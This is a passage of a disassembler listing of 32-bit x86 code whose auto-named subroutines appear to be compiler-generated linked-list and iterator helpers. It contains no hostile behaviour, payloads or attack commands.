		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415A60	proc near		; CODE XREF: sub_401339j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401456
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415A60	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415A90	proc near		; CODE XREF: sub_40113Bj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_4020A9
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_40175D
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_415A90	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415AD0	proc near		; CODE XREF: sub_4016D6j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_40175D
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415AD0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415B00	proc near		; CODE XREF: sub_40217Bj

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401C62
		mov	edi, eax
		push	edi
		call	sub_401104
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401ED8
sub_415B00	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401104
		push	edi
		mov	[eax], ebx
		call	sub_401104
		mov	edi, [eax]
		push	edi
		call	sub_401104
		mov	ecx, [eax]
		push	ecx
		call	sub_4020A9
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401F19
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4021B7
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401DBB
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415BA0	proc near		; CODE XREF: sub_401735j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, ecx
		lea	eax, [esp+4+arg_8]
		lea	ecx, [esp+4+arg_4]
		push	eax
		call	sub_401CBC
		test	al, al
		jz	short loc_415BED
		push	edi
		mov	edi, [esp+8+arg_0]


loc_415BBA:				; CODE XREF: sub_415BA0+4Aj
		lea	ecx, [esp+8+arg_4]
		call	sub_401A5F
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	edi
		push	ecx
		mov	ecx, esi
		call	sub_40217B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8+arg_4]
		call	sub_40210D
		lea	edx, [esp+8+arg_8]
		lea	ecx, [esp+8+arg_4]
		push	edx
		call	sub_401CBC
		test	al, al
		jnz	short loc_415BBA
		pop	edi


loc_415BED:				; CODE XREF: sub_415BA0+13j
		pop	esi
		retn	0Ch
sub_415BA0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415C20	proc near		; CODE XREF: sub_401FCDj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401578
		mov	ecx, eax
		call	sub_401C62
		mov	esi, eax
		push	esi
		call	sub_4020A9
		push	esi
		mov	ebx, eax
		call	sub_401104
		mov	ecx, [eax]
		push	ecx
		call	sub_4020A9
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401104
		push	esi
		mov	ebx, eax
		call	sub_4020A9
		mov	eax, [eax]
		push	eax
		call	sub_401104
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401F19
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401500
		push	esi
		mov	ecx, edi
		call	sub_401CE9
sub_415C20	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415CE0	proc near		; CODE XREF: sub_40146Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401D70
		test	al, al
		jz	short loc_415D3A


loc_415CF8:				; CODE XREF: sub_415CE0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401578
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401FCD
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401D70
		test	al, al
		jnz	short loc_415CF8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_415D3A:				; CODE XREF: sub_415CE0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_415CE0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415D70	proc near		; CODE XREF: sub_401ED8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4020F4
sub_415D70	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_415D85
		mov	edi, esi


loc_415D85:				; CODE XREF: ___:00415D81j
		push	esi
		call	sub_4020A9
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_415D9A
		mov	edi, esi


loc_415D9A:				; CODE XREF: ___:00415D96j
		push	esi
		call	sub_401104
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415DC0	proc near		; CODE XREF: sub_401CE9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401E1A
sub_415DC0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415DE0	proc near		; CODE XREF: sub_4020A9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_415DE0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415E00	proc near		; CODE XREF: sub_401F19j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_415E00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415E20	proc near		; CODE XREF: sub_401ED3j
		mov	eax, ecx
		retn
sub_415E20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415E40	proc near		; CODE XREF: sub_401DBBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40175D
		mov	eax, esi
		pop	esi
		retn	4
sub_415E40	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415E70	proc near		; CODE XREF: sub_401578j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_4020C2
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_415E70	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415EA0	proc near		; CODE XREF: sub_4015D7j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_415EA0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415ED0	proc near		; CODE XREF: sub_401AAAj

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401F8C
		mov	edi, eax
		push	edi
		call	sub_401163
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401C8F
sub_415ED0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401163
		push	edi
		mov	[eax], ebx
		call	sub_401163
		mov	edi, [eax]
		push	edi
		call	sub_401163
		mov	ecx, [eax]
		push	ecx
		call	sub_401249
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_402144
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4015F0
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401CDA
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415F70	proc near		; CODE XREF: sub_4017E9j

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4010DC
		mov	ecx, eax
		call	sub_401F8C
		mov	esi, eax
		push	esi
		call	sub_401249
		push	esi
		mov	ebx, eax
		call	sub_401163
		mov	ecx, [eax]
		push	ecx
		call	sub_401249
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401163
		push	esi
		mov	ebx, eax
		call	sub_401249
		mov	eax, [eax]
		push	eax
		call	sub_401163
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_402144
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401D61
		push	esi
		mov	ecx, edi
		call	sub_401E33
sub_415F70	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416030	proc near		; CODE XREF: sub_40132Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401AEB
		test	al, al
		jz	short loc_41608A


loc_416048:				; CODE XREF: sub_416030+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4010DC
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4017E9
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401AEB
		test	al, al
		jnz	short loc_416048
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41608A:				; CODE XREF: sub_416030+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_416030	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4160C0	proc near		; CODE XREF: sub_401C8Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4015AF
sub_4160C0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_4160D5
		mov	edi, esi


loc_4160D5:				; CODE XREF: ___:004160D1j
		push	esi
		call	sub_401249
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_4160EA
		mov	edi, esi


loc_4160EA:				; CODE XREF: ___:004160E6j
		push	esi
		call	sub_401163
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416110	proc near		; CODE XREF: sub_401E33j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4010D7
sub_416110	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416130	proc near		; CODE XREF: sub_401249j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_416130	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416150	proc near		; CODE XREF: sub_402144j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_416150	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416170	proc near		; CODE XREF: sub_401E97j
		mov	eax, ecx
		retn
sub_416170	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416190	proc near		; CODE XREF: sub_401CDAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401357
		mov	eax, esi
		pop	esi
		retn	4
sub_416190	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4161C0	proc near		; CODE XREF: sub_4010DCj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_4018C5
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4161C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4161F0	proc near		; CODE XREF: sub_401EC4j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4161F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416220	proc near		; CODE XREF: sub_401D11j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4012CB
		mov	edi, eax
		push	edi
		call	sub_4017DF
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401DB6
sub_416220	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_4017DF
		push	edi
		mov	[eax], ebx
		call	sub_4017DF
		mov	edi, [eax]
		push	edi
		call	sub_4017DF
		mov	ecx, [eax]
		push	ecx
		call	sub_401BCC
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_4017E4
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401E15
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401D7A
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4162C0	proc near		; CODE XREF: sub_401078j

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401EBF
		mov	ecx, eax
		call	sub_4012CB
		mov	esi, eax
		push	esi
		call	sub_401BCC
		push	esi
		mov	ebx, eax
		call	sub_4017DF
		mov	ecx, [eax]
		push	ecx
		call	sub_401BCC
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_4017DF
		push	esi
		mov	ebx, eax
		call	sub_401BCC
		mov	eax, [eax]
		push	eax
		call	sub_4017DF
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_4017E4
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401401
		push	esi
		mov	ecx, edi
		call	sub_401F14
sub_4162C0	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416380	proc near		; CODE XREF: sub_40140Bj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401339
		test	al, al
		jz	short loc_4163DA


loc_416398:				; CODE XREF: sub_416380+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401EBF
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401078
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401339
		test	al, al
		jnz	short loc_416398
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4163DA:				; CODE XREF: sub_416380+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_416380	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416410	proc near		; CODE XREF: sub_401DB6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401EBA
sub_416410	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_416425
		mov	edi, esi


loc_416425:				; CODE XREF: ___:00416421j
		push	esi
		call	sub_401BCC
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_41643A
		mov	edi, esi


loc_41643A:				; CODE XREF: ___:00416436j
		push	esi
		call	sub_4017DF
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416460	proc near		; CODE XREF: sub_401F14j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401866
sub_416460	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416480	proc near		; CODE XREF: sub_401BCCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_416480	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4164A0	proc near		; CODE XREF: sub_4017E4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_4164A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4164C0	proc near		; CODE XREF: sub_401E42j
		mov	eax, ecx
		retn
sub_4164C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4164E0	proc near		; CODE XREF: sub_401D7Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401618
		mov	eax, esi
		pop	esi
		retn	4
sub_4164E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416510	proc near		; CODE XREF: sub_401EBFj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40118B
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_416510	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416540	proc near		; CODE XREF: sub_401456j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_416540	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416570	proc near		; CODE XREF: sub_401104j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_416570	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416590	proc near		; CODE XREF: sub_4020F4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_416590	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4165C0	proc near		; CODE XREF: sub_401E1Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_4165C0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4165E0	proc near		; CODE XREF: sub_4021B7j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40125D
		add	esp, 8
		retn	8
sub_4165E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416610	proc near		; CODE XREF: sub_401500j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_6
		pop	ecx
		retn	4
sub_416610	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416630	proc near		; CODE XREF: sub_40175Dj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_416630	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416650	proc near		; CODE XREF: sub_401A5Fj
		mov	eax, [ecx]
		push	eax
		call	sub_401F19
		add	esp, 4
		retn
sub_416650	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416670	proc near		; CODE XREF: sub_40210Dj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4020A9
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_416670	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4166A0	proc near		; CODE XREF: sub_401CBCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401E74
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_4166A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4166D0	proc near		; CODE XREF: sub_401C62j
		mov	eax, [ecx]
		retn
sub_4166D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4166F0	proc near		; CODE XREF: sub_401163j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4166F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416710	proc near		; CODE XREF: sub_4015AFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_416710	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416740	proc near		; CODE XREF: sub_4010D7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_416740	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416760	proc near		; CODE XREF: sub_4015F0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40205E
		add	esp, 8
		retn	8
sub_416760	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416790	proc near		; CODE XREF: sub_401D61j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_5
		pop	ecx
		retn	4
sub_416790	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
